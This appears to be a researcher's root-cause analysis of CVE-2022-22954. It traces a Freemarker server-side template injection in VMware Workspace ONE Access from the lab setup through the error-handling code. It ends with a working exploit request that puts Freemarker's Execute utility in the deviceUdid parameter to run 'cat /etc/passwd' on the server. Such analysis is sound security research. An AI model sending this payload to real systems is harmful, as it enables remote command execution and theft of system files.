
CVE-2022-22954 analyst
Workspace ONE Access (workspace delivery as a service model) provides multi-factor authentication, single sign-on, and conditional access for SaaS, web, and mobile applications. CVE-2022-22954 is a Server-side Template Injection vulnerability existing in the following products:
Download the OVA file of VMware Workspace ONE Access Appliance version 21.08.0.1
Open the file with VMware Workstation, the virtual machine needs to be on a NAT network
In Networking Properties, configure the Host Name (FQDN)

After the installation finishes, access https://{{hostname}}:8443/ to configure the application account password, SSH account password, and database password. The application runs at https://{{hostname}}/

Log in to the virtual machine with the sshuser account, switch to the root account. Locate the application path at /opt/vmware/horizon/workspace/ Application source code in the /opt/vmware/horizon/workspace/webapps directory

Check the file /opt/vmware/horizon/workspace/bin/setenv.sh, notice that the JAVA_OPTS variable can be configured for remote debugging

Add -agentlib:jdwp=transport=dt_socket,server=y,address=5005,suspend=n to JAVA_OPTS and restart the service
`systemctl restart horizon-workspace.service`
Download the hotfix file HW-154129-applyWorkaround.py
Among the steps, there is a step to remove the file templates/customError.ftl from the application

In the file customError.ftl, there is an eval function. A Freemarker SSTI vulnerability can be exploited from here if one can control the errorObj value.


In the class com.vmware.endusercatalog.ui.web.UiErrorController, we see the handleGenericError function assigns a value to errorObj via the errorMessage variable

Continue tracing the function calls and the errorMessage parameter
The handleUnauthorizedError function

The getErrorPage function

To the two functions sendError and sendUnhandledError, the value of errorMessage is taken from the javax.servlet.error.message attribute


In the class com.vmware.endusercatalog.ui.web.UiApplicationExceptionResolver, the javax.servlet.error.message attribute is assigned a value in the resolverException function

The handleAnyGenericException function is annotated with @ExceptionHandler

In the class com.vmware.endusercatalog.ui.UiApplication, among the packages annotated with @ComponentScan there is com.vmware.endusercatalog.auth

=> Exceptions in this package can be caught by the handleAnyGenericException function
In com.vmware.endusercatalog.ui.config, the interceptor AuthContextPopulationInterceptor is added with the paths /ui, /hub-ui, /hub-ui/byob, /logout, /ui/oauth/verify


Redirect to the class com.vmware.endusercatalog.auth.interceptor.AuthContextPopulationInterceptor, in the preHandle function, the application receives two parameters deviceUdid and deviceType and calls the authContextBuilder function

In the class com.vmware.endusercatalog.auth.interceptor.AuthContext, the exception InvalidAuthContextException will occur if the condition this.isValidRequest is not satisfied


For isValidRequest to be satisfied, the two parameters this.deviceId and this.deviceType must both be empty or both have a value

=> passing a value for only one of the two parameters will cause an error here

Send the request
GET /catalog-portal/ui/oauth/verify?deviceUdid=111
an error appears
An unexpected error occurred while processing request with requestId: {0}.
Back to the function com.vmware.endusercatalog.ui.web.WorkspaceOauth2CodeVerificationController, notice the above error occurs due to the missing required parameter error
@GetMapping(
value = {"/ui/oauth/verify"},
params = {"error"}
)
@ApiOperation(
value = "authorizeError",
notes = ""
)
public void authorizeError(@ApiParam @RequestParam String error, @ApiParam @RequestParam(name = "error_description") String errorDescription, @ApiParam @RequestParam(defaultValue = "/admin/") String state) {
LOGGER.debug("Failed to obtain authorization code due to {}:{} received for {}", new Object[]{error, errorDescription, state});
throw new AuthorizationCodeFailedRetrievalException(new Object[]{error, state});
}
Send the request again
GET /catalog-portal/ui/oauth/verify?error=&deviceUdid=111abc
the value of deviceUdid appears in the response

Inject a parameter that causes a Freemarker SSTI error

Send a request with the value
deviceUdid=${"freemarker.template.utility.Execute"?new()("cat /etc/passwd")}

